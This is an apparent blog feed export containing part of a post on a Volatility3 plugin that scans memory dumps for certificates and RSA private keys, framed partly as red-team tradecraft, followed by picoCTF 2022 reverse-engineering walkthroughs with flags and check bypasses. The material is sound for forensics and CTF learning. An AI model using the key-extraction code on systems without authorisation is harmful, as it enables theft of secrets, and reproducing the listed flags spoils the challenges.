sources[\u0026#34;pkcs\u0026#34;] = \u0026#34;rule pkcs {strings: $a = {30 82 ?? ?? 02 01 00} condition: $a}\u0026#34; return yara.compile(sources=sources) Defining the get_*_certificates functions When I originally re-wrote this plugin, the code to start the scanning was located in the _generator function, as I thought there would not be a reason for another plugin to use this code. However, circumstances changed during one of our red team ops and I needed to expose this functionality to another plugin (which will be discussed in Part 2 of this series!). Therefore, two functions were created: get_process_certificates and get_physical_certificates. The only major difference between the two is the type of yara scanner that gets created and the arguments passed it.\nFor process memory, we use Vadyarascanner since it has the ability to isolate the sections scanned by process by locating the memory ranges that belong to that process. Additionally, the choice to create another classmethod for get_certs_by_process was a result of a need to expose the functionality to get the certs by process to a later plugin.\nfor proc in pslist.PsList.list_processes( context=context, layer_name=layer_name, symbol_table=symbol_table, filter_func=filter_func, ): for offset, proc, rule_name, cert_or_pem in cls.get_certs_by_process( context, proc, key_types ): yield (offset, proc, rule_name, cert_or_pem) For physical memory, we use the normal yarascanner. You may notice there is no additional call to another classmethod here. This is because this function is sufficient enough to be used by both the plugin itself and external plugins. The get_certs_by_process function is more comparable to this function.\n@classmethod def get_physical_certificates( cls, context: interfaces.context.ContextInterface, layer_name: str, key_type: str, ) -\u0026gt; Iterable[Tuple[int, str, Union[Certificate, PRIVATE_KEY_TYPES],]]: layer = context.layers[layer_name] for offset, rule_name, _, value in layer.scan( context=context, scanner=yarascan.YaraScanner(rules=cls.get_yara_rules(key_type)), ): cert_or_pem = cls.get_cert_or_pem(layer, rule_name, offset, value) if cert_or_pem: yield (offset, rule_name, cert_or_pem) Parsing the RSA object In the original version of dumpcerts, there was an --ssl switch that could allow the user to verify the certificate by invoking the openssl command line tool. Python has come a long since this original version was created and we can use the cryptography module to do this for us without relying on external tools.\n@classmethod def get_cert_or_pem( self, layer: interfaces.layers.DataLayerInterface, rule_name: str, offset: int, value: bytes, ) -\u0026gt; Union[Certificate, PRIVATE_KEY_TYPES]: try: # This is 30 82 ?? ??, where ?? ?? represents the cert size _, cert_size = unpack(\u0026#34;\u0026gt;HH\u0026#34;, value[0:4]) data = layer.read(offset, cert_size + 4) # If x509 triggered, try to create a DER x509 certificate to validate if rule_name == \u0026#34;x509\u0026#34;: rsa_object = load_der_x509_certificate(data, default_backend()) # If pkcs triggered, try to create a PEM private key to validate elif rule_name == \u0026#34;pkcs\u0026#34;: pem = ( b\u0026#34;-----BEGIN RSA PRIVATE KEY-----\\n\u0026#34; + b64encode(data) + b\u0026#34;\\n-----END RSA PRIVATE KEY-----\u0026#34; ) rsa_object = load_pem_private_key(pem, None, default_backend()) return rsa_object except: return None First we need to grab the size of the certificate, which is represented in the ASN.1 structure 30 82 ?? ?? we\u0026rsquo;ve seen before. If we can successfully create a x509 Certificate object or pem-encoded private key, then we must have a valid object in memory! If there is an exception, then we can just move on. After finding an object, we display the data to the user and save it as a cer or .key file (if --dump has been passed).\nResults Process Scanning\nOffset PID Process Rule Value ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 0x21c00a31000 824 lsass.exe x509 968407DF0B1CF65814DFD7333557519B154D8CE7_CN=*.github.com,O=GitHub\\, Inc.,L=San Francisco,ST=California,C=US 0x21c00a81044 824 lsass.exe x509 FD949FBE4FF3CF89F8FB5209A31439E346C46B76_CN=config.teams.microsoft.com,O=Microsoft Corporation,L=Redmond,ST=WA,C=US 0x21c00a818c4 824 lsass.exe x509 6C3AF02E7F269AA73AFD0EFF2A88A4A1F04ED1E5_CN=Microsoft Azure TLS Issuing CA 05,O=Microsoft Corporation,C=US 0x21c00a81ed0 824 lsass.exe x509 C2E068F2B81258F24368BA745A7876F9192DA160_CN=storage.live.com,OU=Microsoft Corporation,O=Microsoft Corporation,L=Redmond,ST=WA,C=US 0x21c00a83370 824 lsass.exe x509 C2E068F2B81258F24368BA745A7876F9192DA160_CN=storage.live.com,OU=Microsoft Corporation,O=Microsoft Corporation,L=Redmond,ST=WA,C=US 0x21c00a84874 824 lsass.exe x509 C2E068F2B81258F24368BA745A7876F9192DA160_CN=storage.live.com,OU=Microsoft Corporation,O=Microsoft Corporation,L=Redmond,ST=WA,C=US 0x21c00a85d03 824 lsass.exe x509 B0C2D2D13CDD56CDAA6AB6E2C04440BE4A429C75_CN=Microsoft RSA TLS CA 02,O=Microsoft Corporation,C=US 0x21c00a8731a 824 lsass.exe x509 626D44E704D1CEABE3BF0D53397464AC8080142C_CN=DigiCert SHA2 Secure Server CA,O=DigiCert Inc,C=US 0x21c00a87864 824 lsass.exe x509 CF62F0FEEC1F40AD7E1DBBFDF0D097866C9CE222_CN=in.applicationinsights.azure.com 0x21c00a884bf 824 lsass.exe x509 B0C2D2D13CDD56CDAA6AB6E2C04440BE4A429C75_CN=Microsoft RSA TLS CA 02,O=Microsoft Corporation,C=US ... Physical Scanning\nOffset Rule Value ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 0x94072ba91095 x509 312860D2047EB81F8F58C29FF19ECDB4C634CF6A_CN=Microsoft Windows,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US 0x94072ba9159f x509 580A6F4CC4E4B669B9EBDC1B2B3E087B80D0678D_CN=Microsoft Windows Production PCA 2011,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US 0x94072ced7095 x509 EA7D7CCB8A4CC08F0D9B0F3A9BAE39F617EB82B3_CN=Microsoft Corporation,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US 0x94072ced7593 x509 8BFE3107712B3C886B1C96AAEC89984914DC9B6B_CN=Microsoft Code Signing PCA 2010,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US 0x94072ced8019 x509 745DAE981FF2CB0C452C54C2F2B27D16FF5CF6B7_CN=Microsoft Time-Stamp Service,OU=Thales TSS ESN:7BF1-E3EA-B808,OU=Microsoft America Operations,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US 0x94072ced8729 x509 36056A5662DCADECF82CC14C8B80EC5E0BCC59A6_CN=Microsoft Time-Stamp PCA 2010,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US 0x94072cfe5095 x509 FE51E838A087BB561BBB2DD9BA20143384A03B3F_CN=Microsoft Windows,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US 0x94072cfe559f x509 580A6F4CC4E4B669B9EBDC1B2B3E087B80D0678D_CN=Microsoft Windows Production PCA 2011,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US 0x94072cfe5ff2 x509 3D622BEA4F4E11EA8296B9C6C3E6898AEE595B8C_CN=Microsoft Time-Stamp Service,OU=Thales TSS ESN:FC41-4BD4-D220,OU=Microsoft Ireland Operations Limited,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US 0x94072cfe670a x509 36056A5662DCADECF82CC14C8B80EC5E0BCC59A6_CN=Microsoft Time-Stamp PCA 2010,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US 0x94072ddcc095 x509 FE51E838A087BB561BBB2DD9BA20143384A03B3F_CN=Microsoft Windows,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US 0x94072ddcc59f x509 580A6F4CC4E4B669B9EBDC1B2B3E087B80D0678D_CN=Microsoft Windows Production PCA 2011,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US ... Conclusion The new dumpcerts plugin is currently available on my Github. Additionally, since this plugin is just a complex yara scan, this should be compatible on all operating systems that Volatility3 supports.\nWhile this method was extremely effective in extracting public certificates from processes that may not have been in the registry, there were not a lot of results for private keys at all. In fact, in my Windows 11 test dump, the only PKCS matches happened to be from the vmmem processes that my machine has as a result of being a VMWare Virtual Machine. 🤷🏿‍♂️ As an attacker, I am significantly more interested in the private keys than the public ones. In Part 2, I\u0026rsquo;ll discuss writing another Volatility3 plugin to follow up on this one to extract private keys.\nSpecial thanks to the Volatility team for putting together such a dope framework as well as to Tobias Klein for writing the original dumpcerts plugin almost 10 years ago and providing a starting point to understanding the structures.\n","permalink":"https://daddycocoaman.dev/posts/dumping-rsa-certificates-with-volatility/","summary":"Setup Info  Volatility 3 2.0.2  Volatility 3 Framework 2.0.2 usage: volatility [-h] [-c CONFIG] [--parallelism [{processes,threads,off}]] [-e EXTEND] [-p PLUGIN_DIRS] [-s SYMBOL_DIRS] [-v] [-l LOG] [-o OUTPUT_DIR] [-q] [-r RENDERER] [-f FILE] [--write-config] [--clear-cache] [--cache-path CACHE_PATH] [--offline] [--single-location SINGLE_LOCATION] [--stackers [STACKERS ...]] [--single-swap-locations [SINGLE_SWAP_LOCATIONS ...]] plugin ...  Windows 11 Dump  Variable Value ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Kernel Base 0xf80745a00000 DTB 0x1ae000 Symbols file:///C:/Users/daddy/development/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/F55005B80C686C739E763E6CF2559D9F-1.json.xz Is64Bit True IsPAE False layer_name 0 WindowsIntel32e memory_layer 1 WindowsCrashDump64Layer base_layer 2 FileLayer KdDebuggerDataBlock 0xf80746602190 NTBuildLab 22000.","title":"Dumping RSA Certificates with Volatility (Part 1)"},{"content":"file-run1  A program has been provided to you, what happens if you try to run it on the command line?\n If we wish to execute this file, then we need to add the executable bit to it. This can be done using chmod +x run. Then running the file gives us the flag.\n┌──(dcm㉿cocoahacks)-[~/wargames/picoctf/2022/re/file-run1] └─$ ./run The flag is: picoCTF{U51N6_Y0Ur_F1r57_F113_5578e314} file-run2  Another program, but this time, it seems to want some input. What happens if you try to run it on the command line with input \u0026ldquo;Hello!\u0026rdquo;? (100 points)\n Do as the instructions say.\n┌──(dcm㉿cocoahacks)-[~/wargames/picoctf/2022/re/file-run2] └─$ ./run Hello! The flag is: picoCTF{F1r57_4rgum3n7_981abfb5} GDB Test Drive  Can you get the flag? Download this binary. Here\u0026rsquo;s the test drive instructions: (100 points)\n $ chmod +x gdbme $ gdb gdbme (gdb) layout asm (gdb) break *(main+99) (gdb) run (gdb) jump *(main+104) Running the instructions as given provides us the flag. The instructions don\u0026rsquo;t do much more than show you how to set a breakpoint on a very long sleep call and then jump over it to continue execution of the program.\n0x1325 \u0026lt;main+94\u0026gt; mov edi,0x186a0 0x132a \u0026lt;main+99\u0026gt; call 0x1110 \u0026lt;sleep@plt\u0026gt; # Breakpoint here 0x132f \u0026lt;main+104\u0026gt; lea rax,[rbp-0x30] # Jump to here pwndbg\u0026gt; jump *(main+104) Continuing at 0x55555555532f. picoCTF{d3bugg3r_dr1v3_93b87433} [Inferior 1 (process 448292) exited normally]  patchme.py  Can you get the flag? Run this Python program in the same directory as this encrypted flag. (100 points)\n To solve this easily, we can change the user_pw to != the string concatenation that occurs.\nSolution\ndef level_1_pw_check(): user_pw = input(\u0026#34;Please enter correct password for flag: \u0026#34;) # Changed from == to != if( user_pw != \u0026#34;ak98\u0026#34; + \\ \u0026#34;-=90\u0026#34; + \\ \u0026#34;adfjhgj321\u0026#34; + \\ \u0026#34;sleuth9000\u0026#34;): print(\u0026#34;Welcome back... your flag, user:\u0026#34;) decryption = str_xor(flag_enc.decode(), \u0026#34;utilitarian\u0026#34;) print(decryption) return print(\u0026#34;That password is incorrect\u0026#34;) picoCTF{p47ch1ng_l1f3_h4ck_4d5af99c}\n Safe Opener  Can you open this safe? I forgot the key to my safe but this program is supposed to help me with retrieving the lost key. Can you help me unlock my safe? Put the password you recover into the picoCTF flag format like: picoCTF{password} (100 points)\n This challenge provides us with a Java class that asks for a password, base64 encodes the input, and checks against an encoded key. To get the password, we can simply base64 decode the hardcoded key and get the flag.\npublic static boolean openSafe(String password) { String encodedkey = \u0026#34;cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz\u0026#34;; if (password.equals(encodedkey)) { System.out.println(\u0026#34;Sesame open\u0026#34;); return true; } else { System.out.println(\u0026#34;Password is incorrect\\n\u0026#34;); return false; } } ┌──(dcm㉿cocoahacks)-[~/wargames/picoctf/2022/re/SafeOpener] └─$ echo cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz | base64 -d pl3as3_l3t_m3_1nt0_th3_saf3  unpackme.py  Can you get the flag? Reverse engineer this Python program. (100 points)\n import base64 from cryptography.fernet import Fernet payload = b\u0026#34;gAAAAABiMD1Dt87s50caSunQlHoZqPOwtGNaQXexN-gjKwZeuLEN_-v6UcFJHVXOT4B6DcD1SB7cnd6yTcHg9e9LZCAeJY2cJ0r0sfyGPRiH60F-WbkyUjlAdDywI8RPdTpDYLuBmpZ_Kun-kHyTzMjeKR6R26Z4JITUS8n7Dj9X--9eNLajH6UuYD4GkjRACpsidl_8z33DlB86u_xDCMMm7HFK2oJTs8HG1fBex6enQsu0frUAJbx56DxhRvWawAysDMtLE50vaohrzkVV7Yaz4ClilwgfjQ==\u0026#34; key_str = \u0026#34;correctstaplecorrectstaplecorrec\u0026#34; key_base64 = base64.b64encode(key_str.encode()) f = Fernet(key_base64) plain = f.decrypt(payload) exec(plain.decode()) This script performs some Fernet decryption. To determine what is being executed, we can change the exec() to print() and grab the flag.\npw = input(\u0026#39;What\\\u0026#39;s the password? \u0026#39;) if pw == \u0026#39;batteryhorse\u0026#39;: print(\u0026#39;picoCTF{175_chr157m45_8aef58d2}\u0026#39;) else: print(\u0026#39;That password is incorrect.\u0026#39;)  bloat.py  Can you get the flag? Run this Python program in the same directory as this encrypted flag. (200 points)\n This script is a mess!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40  import sys a = \u0026#34;!\\\u0026#34;#$%\u0026amp;\u0026#39;()*+,-./0123456789:;\u0026lt;=\u0026gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\u0026#34;+ \\ \u0026#34;[\\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ \u0026#34; def arg133(arg432): if arg432 == a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]: return True else: print(a[51]+a[71]+a[64]+a[83]+a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+\\ a[81]+a[67]+a[94]+a[72]+a[82]+a[94]+a[72]+a[77]+a[66]+a[78]+a[81]+\\ a[81]+a[68]+a[66]+a[83]) sys.exit(0) return False def arg111(arg444): return arg122(arg444.decode(), a[81]+a[64]+a[79]+a[82]+a[66]+a[64]+a[75]+\\ a[75]+a[72]+a[78]+a[77]) def arg232(): return input(a[47]+a[75]+a[68]+a[64]+a[82]+a[68]+a[94]+a[68]+a[77]+a[83]+\\ a[68]+a[81]+a[94]+a[66]+a[78]+a[81]+a[81]+a[68]+a[66]+a[83]+\\ a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+a[81]+a[67]+a[94]+\\ a[69]+a[78]+a[81]+a[94]+a[69]+a[75]+a[64]+a[70]+a[25]+a[94]) def arg132(): return open(\u0026#39;flag.txt.enc\u0026#39;, \u0026#39;rb\u0026#39;).read() def arg112(): print(a[54]+a[68]+a[75]+a[66]+a[78]+a[76]+a[68]+a[94]+a[65]+a[64]+a[66]+\\ a[74]+a[13]+a[13]+a[13]+a[94]+a[88]+a[78]+a[84]+a[81]+a[94]+a[69]+\\ a[75]+a[64]+a[70]+a[11]+a[94]+a[84]+a[82]+a[68]+a[81]+a[25]) def arg122(arg432, arg423): arg433 = arg423 i = 0 while len(arg433) \u0026lt; len(arg432): arg433 = arg433 + arg423[i] i = (i + 1) % len(arg423) return \u0026#34;\u0026#34;.join([chr(ord(arg422) ^ ord(arg442)) for (arg422,arg442) in zip(arg432,arg433)]) arg444 = arg132() arg432 = arg232() arg133(arg432) arg112() arg423 = arg111(arg444) print(arg423) sys.exit(0)   Running the script asks us to enter the correct password. Taking this one step at a time we notice a few things:\n arg232() is the call to the input() arg132() reads the encrypted flag There is an additional check to arg133() which compares our input to something  Removing the call to arg133() allows us to bypass the check and print out the flag.\n┌──(dcm㉿cocoahacks)-[~/wargames/picoctf/2022/re/bloat] └─$ /bin/python3.10 -u \u0026#34;/home/dcm/wargames/picoctf/2022/re/bloat/bloat.flag.py\u0026#34; Please enter correct password for flag: lol Welcome back... your flag, user: picoCTF{d30bfu5c4710n_f7w_c47f9e9c}  Fresh Java  Can you get the flag? Reverse engineer this Java program. (200 points)\n We are provided with a compiled Java class called KeygenMe.class. There are several tools people prefer for decompiling Java and a very popular one is jd-gui. Opening the file with jd-gui results in the source code which checks each letter of the password entered. We can read the flag starting from the bottom of the source code and working up.\nimport java.util.Scanner; public class KeygenMe { public static void main(String[] paramArrayOfString) { Scanner scanner = new Scanner(System.in); System.out.println(\u0026#34;Enter key:\u0026#34;); String str = scanner.nextLine(); if (str.length() != 34) { System.out.println(\u0026#34;Invalid key\u0026#34;); return; } if (str.charAt(33) != \u0026#39;}\u0026#39;) { System.out.println(\u0026#34;Invalid key\u0026#34;); return; } if (str.charAt(32) != \u0026#39;0\u0026#39;) { System.out.println(\u0026#34;Invalid key\u0026#34;); return; } ... if (str.charAt(3) != \u0026#39;o\u0026#39;) { System.out.println(\u0026#34;Invalid key\u0026#34;); return; } if (str.charAt(2) != \u0026#39;c\u0026#39;) { System.out.println(\u0026#34;Invalid key\u0026#34;); return; } if (str.charAt(1) != \u0026#39;i\u0026#39;) { System.out.println(\u0026#34;Invalid key\u0026#34;); return; } if (str.charAt(0) != \u0026#39;p\u0026#39;) { System.out.println(\u0026#34;Invalid key\u0026#34;); return; } System.out.println(\u0026#34;Valid key\u0026#34;); } } picoCTF{700l1ng_r3qu1r3d_126c59f0}\n Bbbloat  Can you get the flag? Reverse engineer this binary. (300 points)\n This binary wants us to guess a number.\n┌──(dcm㉿cocoahacks)-[~/wargames/picoctf/2022/re/bbbbloat] └─$ ./bbbbloat What\u0026#39;s my favorite number? 1 Sorry, that\u0026#39;s not it! We can open the binary is any disassembler to determine how the logic works. I prefer Binary Ninja for its modern look and learning curve. If we check the main function, we can see that out input is compared to a number to determine if we got it right.\n0x86187 is equal to 549255 and we can enter that into the program to get the flag.\n┌──(dcm㉿cocoahacks)-[~/wargames/picoctf/2022/re/bbbbloat] └─$ ./bbbbloat What\u0026#39;s my favorite number? 549255 picoCTF{cu7_7h3_bl047_2d7aeca1}  unpackme  Can you get the flag? Reverse engineer this binary. (300 points)\n The actual name of the file provided is unpackme-upx so we can assume the binary is packed with UPX. Therefore, we can use UPX to unpack it.\n┌──(dcm㉿cocoahacks)-[~/wargames/picoctf/2022/re/unpackme] └─$ upx -d unpackme-upx Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96 Markus Oberhumer, Laszlo Molnar \u0026amp; John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 1002408 \u0026lt;- 379116 37.82% linux/amd64 unpackme-upx Unpacked 1 file The challenge asks for a number, and following the steps from the previous challenge using Binary Ninja, we can determine the number to match this time is 0xb83cb, which is 754635.\n┌──(dcm㉿cocoahacks)-[~/wargames/picoctf/2022/re/unpackme] └─$ ./unpackme-upx What\u0026#39;s my favorite number? 754635 picoCTF{up\u0026gt;\u0026lt;_m3_f7w_ed7b0850}  Keygenme  Can you get the flag? Reverse engineer this binary. (400 points)\n This challenge asks us to enter a license key.\n┌──(dcm㉿cocoahacks)-[~/wargames/picoctf/2022/re/keygenme] └─$ ./keygenme Enter your license key: lol That key is invalid. Using Binary Ninja, we can locate the function that is responsible for processing our input. As soon as we get into the function, we can see some string being placed into a local variable.\n00001209 int64_t sub_1209(char* arg1) 00001209 { 0000121f void* fsbase; 0000121f int64_t rax = *(int64_t*)((char*)fsbase + 0x28); 00001242 int64_t var_98 = 0x7b4654436f636970; 00001249 int64_t var_90 = 0x30795f676e317262; 0000125a int64_t var_88 = 0x6b5f6e77305f7275; 0000125e int32_t var_80 = 0x5f7933; 00001265 int16_t var_ba = 0x7d; In Binary Ninja, you can convert hex into ASCII by pressing the \u0026ldquo;r\u0026rdquo; key. Doing that on variables that are being assigned hex reveals part of the flag. However, we are still missing the unique tag at the end of the flag.\n00001209 int64_t sub_1209(char* arg1) 00001209 { 0000121f void* fsbase; 0000121f int64_t rax = *(int64_t*)((char*)fsbase + 0x28); 00001242 int64_t var_98 = \u0026#39;picoCTF{\u0026#39;; 00001249 int64_t var_90 = \u0026#39;br1ng_y0\u0026#39;; 0000125a int64_t var_88 = \u0026#39;ur_0wn_k\u0026#39;; 0000125e int32_t var_80 = \u0026#39;3y_\u0026#39;; 00001265 int16_t var_ba = \u0026#39;}\u0026#39;; picoCTF{br1ng_y0ur_0wn_k3y_}\nSo what happened here? Well, it turns out the rest of the key is calculated through some additional functionality, mostly notably through MD5 hashing.\n00001278 uint64_t rax_1 = strlen(\u0026amp;var_98) 00001294 void var_b8 00001294 MD5(\u0026amp;var_98, rax_1, \u0026amp;var_b8, rax_1) 000012a3 uint64_t rax_2 = strlen(\u0026amp;var_ba) 000012bf void var_a8 000012bf MD5(\u0026amp;var_ba, rax_2, \u0026amp;var_a8, rax_2) ... 0000141d int64_t rax_28 0000141d if (strlen(arg1) != 0x24) 0000141f rax_28 = 0 00001426 else 00001426 int32_t var_c0_1 = 0 0000146e while (true) 0000146e if (var_c0_1 s\u0026gt; 0x23) 00001470 rax_28 = 1 00001470 break 00001457 if (arg1[sx.q(var_c0_1)] != *(\u0026amp;var_38 + sx.q(var_c0_1))) 00001459 rax_28 = 0 0000145e break 00001460 var_c0_1 = var_c0_1 + 1 00001482 if ((rax ^ *(fsbase + 0x28)) == 0) 0000148a return rax_28 The final part of the key is calculated here and some actions are performed on our input to check if they match. If we run the program, attach a debugger, and breakpoint at the strlen() call, we can view the stack to find the flag.\n00007ffc:1b07e850|picoCTF{| 00007ffc:1b07e858|br1ng_y0| 00007ffc:1b07e860|ur_0wn_k| 00007ffc:1b07e868|3y_.....| 00007ffc:1b07e870|438218d5| 00007ffc:1b07e878|72e90162| 00007ffc:1b07e880|d0981cbb| 00007ffc:1b07e888|c7d43882| 00007ffc:1b07e890|cbb184dd| 00007ffc:1b07e898|8e05c970| 00007ffc:1b07e8a0|9e5dcaed| 00007ffc:1b07e8a8|aa0495cf| 00007ffc:1b07e8b0|picoCTF{| 00007ffc:1b07e8b8|br1ng_y0| 00007ffc:1b07e8c0|ur_0wn_k| 00007ffc:1b07e8c8|3y_247d8| 00007ffc:1b07e8d0|a57}....| picoCTF{br1ng_y0ur_0wn_k3y_247d8a57}\n Wizardlike  Do you seek your destiny in these deplorable dungeons? If so, you may want to look elsewhere. Many have gone before you and honestly, they\u0026rsquo;ve cleared out the place of all monsters, ne\u0026rsquo;erdowells, bandits and every other sort of evil foe. The dungeons themselves have seen better days too. There\u0026rsquo;s a lot of missing floors and key passages blocked off. You\u0026rsquo;d have to be a real wizard to make any progress in this sorry excuse for a dungeon! Download the game. \u0026lsquo;w\u0026rsquo;, \u0026lsquo;a\u0026rsquo;, \u0026rsquo;s', \u0026rsquo;d' moves your character and \u0026lsquo;Q\u0026rsquo; quits. You\u0026rsquo;ll need to improvise some wizardly abilities to find the flag in this dungeon crawl. \u0026lsquo;.\u0026rsquo; is floor, \u0026lsquo;#\u0026rsquo; are walls, \u0026lsquo;\u0026lt;\u0026rsquo; are stairs up to previous level, and \u0026lsquo;\u0026gt;\u0026rsquo; are stairs down to next level. (500 points)\n It\u0026rsquo;s a game! We can try playing it but at some point we come across deadends with no obvious path forward. Like this:\n... .. ..... .\u0026lt;. # ..@ ...# ... ...# ..\u0026gt;# # If we go back to the first level, we can see that there\u0026rsquo;s some unreachable part of the map to the right of the screen:\n######### #.......# ......# .......... #.......# ........ #.....@.. .# #.......# .# #.......# .# #.......# .# #.......# .# #.......# .. #.......# #.......# #.......# #.......# #.......# #......\u0026gt;# ######## The blank space prevents us from moving across the gap. Since we can move across dot characters, we can either try to replace the blank spaces in the maps with dots instead or change the logic that determines that we can\u0026rsquo;t move across a dot. The latter might be easier, since it means that each map wouldn\u0026rsquo;t have to be modified.\nFirst we have to locate where input gets processed, which is simple to find in the main function.\n00001f07 if (rax_87 == \u0026#39;Q\u0026#39;) 00001f09 var_32 = 0 00001f13 else if (rax_87 == \u0026#39;w\u0026#39;) 00001f1a sub_166b() 00001f25 else if (rax_87 == \u0026#39;s\u0026#39;) 00001f2c sub_16e7() 00001f37 else if (rax_87 == \u0026#39;a\u0026#39;) 00001f3e sub_1763() 00001f49 else if (rax_87 == \u0026#39;d\u0026#39;) 00001f50 sub_17df() Each of the calls also calls another function sub_15ac() and processes some variables which are set in the main function.\nIf we check the 15ac function, we find the logic that checks to see if the space we\u0026rsquo;re trying to occupy is a # or a  . It returns a 0. If it\u0026rsquo;s not equal to one of those, it returns a 1. So let\u0026rsquo;s make it return a 1 in either case so we can pass through walls!\n0000161a if (*(int8_t*)(\u0026amp;data_1fea0 + ((rax_4 * 0x14) + ((int64_t)arg1))) != \u0026#39;#\u0026#39;) 00001618 { 0000162f rax_13 = (((int64_t)arg2) * 5); 00001654 if (*(int8_t*)(\u0026amp;data_1fea0 + ((rax_13 * 0x14) + ((int64_t)arg1))) != \u0026#39; \u0026#39;) 00001652 { 0000165d rax_18 = 1; 0000165d } 00001618 } 00001654 if ((*(int8_t*)(\u0026amp;data_1fea0 + ((rax_4 * 0x14) + ((int64_t)arg1))) == \u0026#39;#\u0026#39; || (*(int8_t*)(\u0026amp;data_1fea0 + ((rax_4 * 0x14) + ((int64_t)arg1))) != \u0026#39;#\u0026#39; \u0026amp;\u0026amp; *(int8_t*)(\u0026amp;data_1fea0 + ((rax_13 * 0x14) + ((int64_t)arg1))) == \u0026#39; \u0026#39;))) 00001652 { 00001656 rax_18 = 0; 00001656 } We can change rax_18 = 0 to rax_18 = 1 to complete the bypass. Now we can walk through walls!\nContinuing through the levels gives the entire flag.\npicoCTF{ur_4_w1z4rd_2a05d7a8}\n","permalink":"https://daddycocoaman.dev/posts/picoctf/2022/picoctf-2022-reverse-engineering/","summary":"file-run1  A program has been provided to you, what happens if you try to run it on the command line?\n If we wish to execute this file, then we need to add the executable bit to it. This can be done using chmod +x run. Then running the file gives us the flag.\n┌──(dcm㉿cocoahacks)-[~/wargames/picoctf/2022/re/file-run1] └─$ ./run The flag is: picoCTF{U51N6_Y0Ur_F1r57_F113_5578e314} file-run2  Another program, but this time, it seems to want some input.","title":"[picoCTF] 2022 Reverse Engineering Walkthrough"},{"content":"Codebook  Run the Python script code.py in the same directory as codebook.txt.\n This challenge is simple: download the files and run the script in the same directory as the text file. You must also make sure you are running Python from the same directory where the files are located.\npicoCTF{c0d3b00k_455157_687087ee}\n convertme.py  Run the Python script and convert the given number from decimal to binary to get the flag.\n This is one of those challenges with a very simple shortcut. When running the script, it provides an output like If XX is in decimal base, what is it in binary base? where XX is a random number between 10 and 100.\nTo solve this the intended way, you can use any form of calculator to convert the number into the binary form. This can be done with Cyberchef, Python, or even the Windows calculator. However, this is a CTF, so let\u0026rsquo;s understand what\u0026rsquo;s happening here.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17  flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x5f) + chr(0x05) + chr(0x08) + chr(0x2a) + chr(0x1c) + chr(0x5e) + chr(0x1e) + chr(0x1b) + chr(0x3b) + chr(0x17) + chr(0x51) + chr(0x5b) + chr(0x58) + chr(0x5c) + chr(0x3b) + chr(0x42) + chr(0x57) + chr(0x5c) + chr(0x0d) + chr(0x5f) + chr(0x06) + chr(0x46) + chr(0x5c) + chr(0x13) num = random.choice(range(10,101)) print(\u0026#39;If \u0026#39; + str(num) + \u0026#39; is in decimal base, what is it in binary base?\u0026#39;) ans = input(\u0026#39;Answer: \u0026#39;) try: ans_num = int(ans, base=2) if ans_num == num: flag = str_xor(flag_enc, \u0026#39;enkidu\u0026#39;) print(\u0026#39;That is correct! Here\\\u0026#39;s your flag: \u0026#39; + flag) else: print(str(ans_num) + \u0026#39; and \u0026#39; + str(num) + \u0026#39; are not equal.\u0026#39;) except ValueError: print(\u0026#39;That isn\\\u0026#39;t a binary number. Binary numbers contain only 1\\\u0026#39;s and 0\\\u0026#39;s\u0026#39;)   Line 11 is a basic check to see if the decimal conversion of our 1 and 0 input matches the randomly generated number. If so, print the encrypted flag. If we change this to ans_num != num, then if we don\u0026rsquo;t put in the right conversion, we will still get the flag!. Understanding the code and being able to make it do what you want to do is a critical skillset for harder reverse engineering and pwn categories challenges.\nIf 13 is in decimal base, what is it in binary base? Answer: 1 That is correct! Here's your flag: picoCTF{4ll_y0ur_b4535_722f6b39}\n fixme1.py  Fix the syntax error in this Python script to print the flag.\n This challenge can solved fairly easily using an IDE or the basic knowledge that Python is a whitespace sensitive language. In this case, the final print statement is indented when it should not be. Simply remove the whitespace in front of it.\nIncorrect\nflag = str_xor(flag_enc, \u0026#39;enkidu\u0026#39;) print(\u0026#39;That is correct! Here\\\u0026#39;s your flag: \u0026#39; + flag) Correct\nflag = str_xor(flag_enc, \u0026#39;enkidu\u0026#39;) print(\u0026#39;That is correct! Here\\\u0026#39;s your flag: \u0026#39; + flag) That is correct! Here's your flag: picoCTF{1nd3nt1ty_cr1515_79fb5597}\n fixme2.py  